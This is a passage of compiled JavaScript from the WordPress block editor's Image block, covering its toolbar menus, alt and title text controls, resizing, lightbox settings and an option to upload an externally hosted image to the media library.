23547 href,
23548 onClick: (event) => event.preventDefault(),
23549 "aria-disabled": true,
23550 style: {
23551 // When the Image block is linked,
23552 // it's wrapped with a disabled <a /> tag.
23553 // Restore cursor style so it doesn't appear 'clickable'
23554 // and remove pointer events. Safari needs the display property.
23555 pointerEvents: "none",
23556 cursor: "default",
23557 display: "inline"
23558 },
23559 children
23560 }
23561 );
23562};
23563function ContentOnlyControls({
23564 attributes,
23565 setAttributes,
23566 lockAltControls,
23567 lockAltControlsMessage,
23568 lockTitleControls,
23569 lockTitleControlsMessage
23570}) {
23571 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
23572 const [isAltDialogOpen, setIsAltDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
23573 const [isTitleDialogOpen, setIsTitleDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
23574 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23575 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { ref: setPopoverAnchor, children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23576 external_wp_components_namespaceObject.DropdownMenu,
23577 {
23578 icon: chevron_down_default,
23579 label: (0,external_wp_i18n_namespaceObject.__)("More"),
23580 toggleProps: {
23581 ...toggleProps,
23582 description: (0,external_wp_i18n_namespaceObject.__)("Displays more controls.")
23583 },
23584 popoverProps: WRITEMODE_POPOVER_PROPS,
23585 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23587 external_wp_components_namespaceObject.MenuItem,
23588 {
23589 onClick: () => {
23590 setIsAltDialogOpen(true);
23591 onClose();
23592 },
23593 "aria-haspopup": "dialog",
23594 children: (0,external_wp_i18n_namespaceObject._x)(
23595 "Alternative text",
23596 "Alternative text for an image. Block toolbar label, a low character count is preferred."
23597 )
23598 }
23599 ),
23600 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23601 external_wp_components_namespaceObject.MenuItem,
23602 {
23603 onClick: () => {
23604 setIsTitleDialogOpen(true);
23605 onClose();
23606 },
23607 "aria-haspopup": "dialog",
23608 children: (0,external_wp_i18n_namespaceObject.__)("Title text")
23609 }
23610 )
23611 ] })
23612 }
23613 ) }),
23614 isAltDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23615 external_wp_components_namespaceObject.Popover,
23616 {
23617 placement: "bottom-start",
23618 anchor: popoverAnchor,
23619 onClose: () => setIsAltDialogOpen(false),
23620 offset: 13,
23621 variant: "toolbar",
23622 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-image__toolbar_content_textarea__container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23623 external_wp_components_namespaceObject.TextareaControl,
23624 {
23625 className: "wp-block-image__toolbar_content_textarea",
23626 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
23627 value: attributes.alt || "",
23628 onChange: (value) => setAttributes({ alt: value }),
23629 disabled: lockAltControls,
23630 help: lockAltControls ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23631 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23632 external_wp_components_namespaceObject.ExternalLink,
23633 {
23634 href: (
23635 // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
23636 (0,external_wp_i18n_namespaceObject.__)(
23637 "https://www.w3.org/WAI/tutorials/images/decision-tree/"
23638 )
23639 ),
23640 children: (0,external_wp_i18n_namespaceObject.__)(
23641 "Describe the purpose of the image."
23642 )
23643 }
23644 ),
23645 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
23646 (0,external_wp_i18n_namespaceObject.__)("Leave empty if decorative.")
23647 ] }),
23648 __nextHasNoMarginBottom: true
23649 }
23650 ) })
23651 }
23652 ),
23653 isTitleDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23654 external_wp_components_namespaceObject.Popover,
23655 {
23656 placement: "bottom-start",
23657 anchor: popoverAnchor,
23658 onClose: () => setIsTitleDialogOpen(false),
23659 offset: 13,
23660 variant: "toolbar",
23661 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-image__toolbar_content_textarea__container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23662 external_wp_components_namespaceObject.TextControl,
23663 {
23664 __next40pxDefaultSize: true,
23665 className: "wp-block-image__toolbar_content_textarea",
23666 __nextHasNoMarginBottom: true,
23667 label: (0,external_wp_i18n_namespaceObject.__)("Title attribute"),
23668 value: attributes.title || "",
23669 onChange: (value) => setAttributes({
23670 title: value
23671 }),
23672 disabled: lockTitleControls,
23673 help: lockTitleControls ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: lockTitleControlsMessage }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23674 (0,external_wp_i18n_namespaceObject.__)(
23675 "Describe the role of this image on the page."
23676 ),
23677 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://www.w3.org/TR/html52/dom.html#the-title-attribute", children: (0,external_wp_i18n_namespaceObject.__)(
23678 "(Note: many devices and browsers do not display this text.)"
23679 ) })
23680 ] })
23681 }
23682 ) })
23683 }
23684 )
23685 ] });
23686}
23687function image_Image({
23688 temporaryURL,
23689 attributes,
23690 setAttributes,
23691 isSingleSelected,
23692 insertBlocksAfter,
23693 onReplace,
23694 onSelectImage,
23695 onSelectURL,
23696 onUploadError,
23697 context,
23698 clientId,
23699 blockEditingMode,
23700 parentLayoutType,
23701 maxContentWidth
23702}) {
23703 const {
23704 url = "",
23705 alt,
23706 align,
23707 id,
23708 href,
23709 rel,
23710 linkClass,
23711 linkDestination,
23712 title,
23713 width,
23714 height,
23715 aspectRatio,
23716 scale,
23717 linkTarget,
23718 sizeSlug,
23719 lightbox,
23720 metadata
23721 } = attributes;
23722 const [imageElement, setImageElement] = (0,external_wp_element_namespaceObject.useState)();
23723 const [resizeDelta, setResizeDelta] = (0,external_wp_element_namespaceObject.useState)(null);
23724 const [pixelSize, setPixelSize] = (0,external_wp_element_namespaceObject.useState)({});
23725 const [offsetTop, setOffsetTop] = (0,external_wp_element_namespaceObject.useState)(0);
23726 const setResizeObserved = (0,external_wp_compose_namespaceObject.useResizeObserver)(([entry]) => {
23727 if (!resizeDelta) {
23728 const [box] = entry.borderBoxSize;
23729 setPixelSize({ width: box.inlineSize, height: box.blockSize });
23730 }
23731 setOffsetTop(entry.target.offsetTop);
23732 });
23733 const effectResizeableBoxPlacement = (0,external_wp_element_namespaceObject.useCallback)(() => {
23734 setOffsetTop(imageElement?.offsetTop ?? 0);
23735 }, [imageElement]);
23736 const setRefs = (0,external_wp_compose_namespaceObject.useMergeRefs)([setImageElement, setResizeObserved]);
23737 const { allowResize = true } = context;
23738 const image = (0,external_wp_data_namespaceObject.useSelect)(
23739 (select) => id && isSingleSelected ? select(external_wp_coreData_namespaceObject.store).getEntityRecord(
23740 "postType",
23741 "attachment",
23742 id,
23743 { context: "view" }
23744 ) : null,
23745 [id, isSingleSelected]
23746 );
23747 const { canInsertCover, imageEditing, imageSizes, maxWidth } = (0,external_wp_data_namespaceObject.useSelect)(
23748 (select) => {
23749 const { getBlockRootClientId, canInsertBlockType, getSettings: getSettings2 } = select(external_wp_blockEditor_namespaceObject.store);
23750 const rootClientId = getBlockRootClientId(clientId);
23751 const settings = getSettings2();
23752 return {
23753 imageEditing: settings.imageEditing,
23754 imageSizes: settings.imageSizes,
23755 maxWidth: settings.maxWidth,
23756 canInsertCover: canInsertBlockType(
23757 "core/cover",
23758 rootClientId
23759 )
23760 };
23761 },
23762 [clientId]
23763 );
23764 const { getBlock, getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
23765 const { replaceBlocks, toggleSelection } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
23766 const { createErrorNotice, createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
23767 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
23768 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
23769 const isWideAligned = ["wide", "full"].includes(align);
23770 const [
23771 { loadedNaturalWidth, loadedNaturalHeight },
23772 setLoadedNaturalSize
23773 ] = (0,external_wp_element_namespaceObject.useState)({});
23774 const [isEditingImage, setIsEditingImage] = (0,external_wp_element_namespaceObject.useState)(false);
23775 const [externalBlob, setExternalBlob] = (0,external_wp_element_namespaceObject.useState)();
23776 const [hasImageErrored, setHasImageErrored] = (0,external_wp_element_namespaceObject.useState)(false);
23777 const hasNonContentControls = blockEditingMode === "default";
23778 const isContentOnlyMode = blockEditingMode === "contentOnly";
23779 const isResizable = allowResize && hasNonContentControls && !isWideAligned && isLargeViewport;
23780 const imageSizeOptions = imageSizes.filter(
23781 ({ slug }) => image?.media_details?.sizes?.[slug]?.source_url
23782 ).map(({ name, slug }) => ({ value: slug, label: name }));
23783 (0,external_wp_element_namespaceObject.useEffect)(() => {
23784 if (!isExternalImage(id, url) || !isSingleSelected || !getSettings().mediaUpload) {
23785 setExternalBlob();
23786 return;
23787 }
23788 if (externalBlob) {
23789 return;
23790 }
23791 window.fetch(url.includes("?") ? url : url + "?").then((response) => response.blob()).then((blob) => setExternalBlob(blob)).catch(() => {
23792 });
23793 }, [id, url, isSingleSelected, externalBlob, getSettings]);
23794 const { naturalWidth, naturalHeight } = (0,external_wp_element_namespaceObject.useMemo)(() => {
23795 return {
23796 naturalWidth: imageElement?.naturalWidth || loadedNaturalWidth || void 0,
23797 naturalHeight: imageElement?.naturalHeight || loadedNaturalHeight || void 0
23798 };
23799 }, [loadedNaturalWidth, loadedNaturalHeight, imageElement?.complete]);
23800 function onImageError() {
23801 setHasImageErrored(true);
23802 const embedBlock = createUpgradedEmbedBlock({ attributes: { url } });
23803 if (void 0 !== embedBlock) {
23804 onReplace(embedBlock);
23805 }
23806 }
23807 function onImageLoad(event) {
23808 setHasImageErrored(false);
23809 setLoadedNaturalSize({
23810 loadedNaturalWidth: event.target?.naturalWidth,
23811 loadedNaturalHeight: event.target?.naturalHeight
23812 });
23813 }
23814 function onSetHref(props) {
23815 setAttributes(props);
23816 }
23817 function onSetLightbox(enable) {
23818 if (enable && !lightboxSetting?.enabled) {
23819 setAttributes({
23820 lightbox: { enabled: true }
23821 });
23822 } else if (!enable && lightboxSetting?.enabled) {
23823 setAttributes({
23824 lightbox: { enabled: false }
23825 });
23826 } else {
23827 setAttributes({
23828 lightbox: void 0
23829 });
23830 }
23831 }
23832 function resetLightbox() {
23833 if (lightboxSetting?.enabled && lightboxSetting?.allowEditing) {
23834 setAttributes({
23835 lightbox: { enabled: false }
23836 });
23837 } else {
23838 setAttributes({
23839 lightbox: void 0
23840 });
23841 }
23842 }
23843 function onSetTitle(value) {
23844 setAttributes({ title: value });
23845 }
23846 function updateAlt(newAlt) {
23847 setAttributes({ alt: newAlt });
23848 }
23849 function updateImage(newSizeSlug) {
23850 const newUrl = image?.media_details?.sizes?.[newSizeSlug]?.source_url;
23851 if (!newUrl) {
23852 return null;
23853 }
23854 setAttributes({
23855 url: newUrl,
23856 sizeSlug: newSizeSlug
23857 });
23858 }
23859 function uploadExternal() {
23860 const { mediaUpload } = getSettings();
23861 if (!mediaUpload) {
23862 return;
23863 }
23864 mediaUpload({
23865 filesList: [externalBlob],
23866 onFileChange([img2]) {
23867 onSelectImage(img2);
23868 if ((0,external_wp_blob_namespaceObject.isBlobURL)(img2.url)) {
23869 return;
23870 }
23871 setExternalBlob();
23872 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Image uploaded."), {
23873 type: "snackbar"
23874 });
23875 },
23876 allowedTypes: constants_ALLOWED_MEDIA_TYPES,
23877 onError(message) {
23878 createErrorNotice(message, { type: "snackbar" });
23879 }
23880 });
23881 }
23882 (0,external_wp_element_namespaceObject.useEffect)(() => {
23883 if (!isSingleSelected) {
23884 setIsEditingImage(false);
23885 }
23886 }, [isSingleSelected]);
23887 const canEditImage = id && naturalWidth && naturalHeight && imageEditing;
23888 const allowCrop = isSingleSelected && canEditImage && !isEditingImage && !isContentOnlyMode;
23889 function switchToCover() {
23890 replaceBlocks(
23891 clientId,
23892 (0,external_wp_blocks_namespaceObject.switchToBlockType)(getBlock(clientId), "core/cover")
23893 );
23894 }
23895 const dimensionsUnitsOptions = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
23896 availableUnits: ["px"]
23897 });
23898 const [lightboxSetting] = (0,external_wp_blockEditor_namespaceObject.useSettings)("lightbox");
23899 const showLightboxSetting = (
23900 // If a block-level override is set, we should give users the option to
23901 // remove that override, even if the lightbox UI is disabled in the settings.
23902 !!lightbox && lightbox?.enabled !== lightboxSetting?.enabled || lightboxSetting?.allowEditing
23903 );
23904 const lightboxChecked = !!lightbox?.enabled || !lightbox && !!lightboxSetting?.enabled;
23905 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
23906 const dimensionsControl = isResizable && (SIZED_LAYOUTS.includes(parentLayoutType) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23907 DimensionsTool,
23908 {
23909 value: { aspectRatio },
23910 onChange: ({ aspectRatio: newAspectRatio }) => {
23911 setAttributes({
23912 aspectRatio: newAspectRatio,
23913 scale: "cover"
23914 });
23915 },
23916 defaultAspectRatio: "auto",
23917 tools: ["aspectRatio"]
23918 }
23919 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23920 DimensionsTool,
23921 {
23922 value: { width, height, scale, aspectRatio },
23923 onChange: ({
23924 width: newWidth,
23925 height: newHeight,
23926 scale: newScale,
23927 aspectRatio: newAspectRatio
23928 }) => {
23929 setAttributes({
23930 // CSS includes `height: auto`, but we need
23931 // `width: auto` to fix the aspect ratio when
23932 // only height is set due to the width and
23933 // height attributes set via the server.
23934 width: !newWidth && newHeight ? "auto" : newWidth,
23935 height: newHeight,
23936 scale: newScale,
23937 aspectRatio: newAspectRatio
23938 });
23939 },
23940 defaultScale: "cover",
23941 defaultAspectRatio: "auto",
23942 scaleOptions,
23943 unitsOptions: dimensionsUnitsOptions
23944 }
23945 ));
23946 const resetAll = () => {
23947 setAttributes({
23948 alt: void 0,
23949 width: void 0,
23950 height: void 0,
23951 scale: void 0,
23952 aspectRatio: void 0,
23953 lightbox: void 0
23954 });
23955 updateImage(image_constants_DEFAULT_MEDIA_SIZE_SLUG);
23956 };
23957 const sizeControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23958 external_wp_components_namespaceObject.__experimentalToolsPanel,
23959 {
23960 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
23961 resetAll,
23962 dropdownMenuProps,
23963 children: dimensionsControl
23964 }
23965 ) });
23966 const arePatternOverridesEnabled = metadata?.bindings?.__default?.source === "core/pattern-overrides";
23967 const {
23968 lockUrlControls = false,
23969 lockHrefControls = false,
23970 lockAltControls = false,
23971 lockAltControlsMessage,
23972 lockTitleControls = false,
23973 lockTitleControlsMessage,
23974 hideCaptionControls = false
23975 } = (0,external_wp_data_namespaceObject.useSelect)(
23976 (select) => {
23977 if (!isSingleSelected) {
23978 return {};
23979 }
23980 const {
23981 url: urlBinding,
23982 alt: altBinding,
23983 title: titleBinding,
23984 caption: captionBinding
23985 } = metadata?.bindings || {};
23986 const hasParentPattern = !!context["pattern/overrides"];
23987 const urlBindingSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
23988 urlBinding?.source
23989 );
23990 const altBindingSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
23991 altBinding?.source
23992 );
23993 const titleBindingSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
23994 titleBinding?.source
23995 );
23996 return {
23997 lockUrlControls: !!urlBinding && !urlBindingSource?.canUserEditValue?.({
23998 select,
23999 context,
24000 args: urlBinding?.args
24001 }),
24002 lockHrefControls: (
24003 // Disable editing the link of the URL if the image is inside a pattern instance.
24004 // This is a temporary solution until we support overriding the link on the frontend.
24005 hasParentPattern || arePatternOverridesEnabled
24006 ),
24007 hideCaptionControls: !!captionBinding,
24008 lockAltControls: !!altBinding && !altBindingSource?.canUserEditValue?.({
24009 select,
24010 context,
24011 args: altBinding?.args
24012 }),
24013 lockAltControlsMessage: altBindingSource?.label ? (0,external_wp_i18n_namespaceObject.sprintf)(
24014 /* translators: %s: Label of the bindings source. */
24015 (0,external_wp_i18n_namespaceObject.__)("Connected to %s"),
24016 altBindingSource.label
24017 ) : (0,external_wp_i18n_namespaceObject.__)("Connected to dynamic data"),
24018 lockTitleControls: !!titleBinding && !titleBindingSource?.canUserEditValue?.({
24019 select,
24020 context,
24021 args: titleBinding?.args
24022 }),
24023 lockTitleControlsMessage: titleBindingSource?.label ? (0,external_wp_i18n_namespaceObject.sprintf)(
24024 /* translators: %s: Label of the bindings source. */
24025 (0,external_wp_i18n_namespaceObject.__)("Connected to %s"),
24026 titleBindingSource.label
24027 ) : (0,external_wp_i18n_namespaceObject.__)("Connected to dynamic data")
24028 };
24029 },
24030 [
24031 arePatternOverridesEnabled,
24032 context,
24033 isSingleSelected,
24034 metadata?.bindings
24035 ]
24036 );
24037 const showUrlInput = isSingleSelected && !isEditingImage && !lockHrefControls && !lockUrlControls;
24038 const showCoverControls = isSingleSelected && canInsertCover && !isContentOnlyMode;
24039 const showBlockControls = showUrlInput || allowCrop || showCoverControls;
24040 const mediaReplaceFlow = isSingleSelected && !isEditingImage && !lockUrlControls && // For contentOnly mode, put this button in its own area so it has borders around it.
24041 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: isContentOnlyMode ? "inline" : "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24042 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
24043 {
24044 mediaId: id,
24045 mediaURL: url,
24046 allowedTypes: constants_ALLOWED_MEDIA_TYPES,
24047 accept: "image/*",
24048 onSelect: onSelectImage,
24049 onSelectURL,
24050 onError: onUploadError,
24051 name: !url ? (0,external_wp_i18n_namespaceObject.__)("Add image") : (0,external_wp_i18n_namespaceObject.__)("Replace"),
24052 onReset: () => onSelectImage(void 0)
24053 }
24054 ) });
24055 const controls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24056 showBlockControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
24057 showUrlInput && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24058 external_wp_blockEditor_namespaceObject.__experimentalImageURLInputUI,
24059 {
24060 url: href || "",
24061 onChangeUrl: onSetHref,
24062 linkDestination,
24063 mediaUrl: image && image.source_url || url,
24064 mediaLink: image && image.link,
24065 linkTarget,
24066 linkClass,
24067 rel,
24068 showLightboxSetting,
24069 lightboxEnabled: lightboxChecked,
24070 onSetLightbox,
24071 resetLightbox
24072 }
24073 ),
24074 allowCrop && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24075 external_wp_components_namespaceObject.ToolbarButton,
24076 {
24077 onClick: () => setIsEditingImage(true),
24078 icon: crop_default,
24079 label: (0,external_wp_i18n_namespaceObject.__)("Crop")
24080 }
24081 ),
24082 showCoverControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24083 external_wp_components_namespaceObject.ToolbarButton,
24084 {
24085 icon: overlay_text_default,
24086 label: (0,external_wp_i18n_namespaceObject.__)("Add text over image"),
24087 onClick: switchToCover
24088 }
24089 )
24090 ] }),
24091 isSingleSelected && externalBlob && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24092 external_wp_components_namespaceObject.ToolbarButton,
24093 {
24094 onClick: uploadExternal,
24095 icon: upload_default,
24096 label: (0,external_wp_i18n_namespaceObject.__)("Upload to Media Library")
24097 }
24098 ) }) }),
24099 isContentOnlyMode && // Add some extra controls for content attributes when content only mode is active.
24100 // With content only mode active, the inspector is hidden, so users need another way
24101 // to edit these attributes.
24102 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24103 ContentOnlyControls,
24104 {
24105 attributes,
24106 setAttributes,
24107 lockAltControls,
24108 lockAltControlsMessage,
24109 lockTitleControls,
24110 lockTitleControlsMessage
24111 }
24112 ) }),
24113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24114 external_wp_components_namespaceObject.__experimentalToolsPanel,
24115 {
24116 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
24117 resetAll,
24118 dropdownMenuProps,
24119 children: [
24120 isSingleSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24121 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
24122 {
24123 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
24124 isShownByDefault: true,
24125 hasValue: () => !!alt,
24126 onDeselect: () => setAttributes({ alt: void 0 }),
24127 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24128 external_wp_components_namespaceObject.TextareaControl,
24129 {
24130 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
24131 value: alt || "",
24132 onChange: updateAlt,
24133 readOnly: lockAltControls,
24134 help: lockAltControls ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24135 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24136 external_wp_components_namespaceObject.ExternalLink,
24137 {
24138 href: (
24139 // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
24140 (0,external_wp_i18n_namespaceObject.__)(
24141 "https://www.w3.org/WAI/tutorials/images/decision-tree/"
24142 )
24143 ),
24144 children: (0,external_wp_i18n_namespaceObject.__)(
24145 "Describe the purpose of the image."
24146 )
24147 }
24148 ),
24149 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
24150 (0,external_wp_i18n_namespaceObject.__)(
24151 "Leave empty if decorative."
24152 )
24153 ] }),
24154 __nextHasNoMarginBottom: true
24155 }
24156 )
24157 }
24158 ),
24159 dimensionsControl,
24160 !!imageSizeOptions.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24161 image_ResolutionTool,
24162 {
24163 value: sizeSlug,
24164 defaultValue: image_constants_DEFAULT_MEDIA_SIZE_SLUG,
24165 onChange: updateImage,
24166 options: imageSizeOptions
24167 }
24168 )
24169 ]
24170 }
24171 ) }),
24172 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24173 external_wp_components_namespaceObject.TextControl,
24174 {
24175 __nextHasNoMarginBottom: true,
24176 __next40pxDefaultSize: true,
24177 label: (0,external_wp_i18n_namespaceObject.__)("Title attribute"),
24178 value: title || "",
24179 onChange: onSetTitle,
24180 readOnly: lockTitleControls,
24181 help: lockTitleControls ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: lockTitleControlsMessage }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24182 (0,external_wp_i18n_namespaceObject.__)(
24183 "Describe the role of this image on the page."
24184 ),
24185 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://www.w3.org/TR/html52/dom.html#the-title-attribute", children: (0,external_wp_i18n_namespaceObject.__)(
24186 "(Note: many devices and browsers do not display this text.)"
24187 ) })
24188 ] })
24189 }
24190 ) })
24191 ] });
24192 const filename = (0,external_wp_url_namespaceObject.getFilename)(url);
24193 let defaultedAlt;
24194 if (alt) {
24195 defaultedAlt = alt;
24196 } else if (filename) {
24197 defaultedAlt = (0,external_wp_i18n_namespaceObject.sprintf)(
24198 /* translators: %s: file name */
24199 (0,external_wp_i18n_namespaceObject.__)("This image has an empty alt attribute; its file name is %s"),
24200 filename
24201 );
24202 } else {
24203 defaultedAlt = (0,external_wp_i18n_namespaceObject.__)("This image has an empty alt attribute");
24204 }
24205 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
24206 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
24207 const isRounded = attributes.className?.includes("is-style-rounded");
24208 const { postType, postId, queryId } = context;
24209 const isDescendentOfQueryLoop = Number.isFinite(queryId);
24210 let img = temporaryURL && hasImageErrored ? (
24211 // Show a placeholder during upload when the blob URL can't be loaded. This can
24212 // happen when the user uploads a HEIC image in a browser that doesn't support them.
24213 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24214 external_wp_components_namespaceObject.Placeholder,
24215 {
24216 className: "wp-block-image__placeholder",
24217 withIllustration: true,
24218 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
24219 }
24220 )
24221 ) : (
24222 // Disable reason: Image itself is not meant to be interactive, but
24223 // should direct focus to block.
24224 /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
24225 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24227 "img",
24228 {
24229 src: temporaryURL || url,
24230 alt: defaultedAlt,
24231 onError: onImageError,
24232 onLoad: onImageLoad,
24233 ref: setRefs,
24234 className: borderProps.className,
24235 width: naturalWidth,
24236 height: naturalHeight,
24237 style: {
24238 aspectRatio,
24239 ...resizeDelta ? {
24240 width: pixelSize.width + resizeDelta.width,
24241 height: pixelSize.height + resizeDelta.height
24242 } : { width, height },
24243 objectFit: scale,
24244 ...borderProps.style,
24245 ...shadowProps.style
24246 }
24247 }
24248 ),
24249 temporaryURL && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
24250 ] })
24251 );
24252 if (canEditImage && isEditingImage) {
24253 img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ImageWrapper, { href, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24254 external_wp_blockEditor_namespaceObject.__experimentalImageEditor,
24255 {
24256 id,
24257 url,
24258 ...pixelSize,
24259 naturalHeight,
24260 naturalWidth,
24261 onSaveImage: (imageAttributes) => setAttributes(imageAttributes),
24262 onFinishEditing: () => {
24263 setIsEditingImage(false);
24264 },
24265 borderProps: isRounded ? void 0 : borderProps
24266 }
24267 ) });
24268 } else {
24269 img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ImageWrapper, { href, children: img });
24270 }
24271 let resizableBox;
24272 if (isResizable && isSingleSelected && !isEditingImage && !SIZED_LAYOUTS.includes(parentLayoutType)) {
24273 const numericRatio = aspectRatio && evalAspectRatio(aspectRatio);
24274 const customRatio = pixelSize.width / pixelSize.height;
24275 const naturalRatio = naturalWidth / naturalHeight;
24276 const ratio = numericRatio || customRatio || naturalRatio || 1;
24277 const minWidth = naturalWidth < naturalHeight ? constants_MIN_SIZE : constants_MIN_SIZE * ratio;
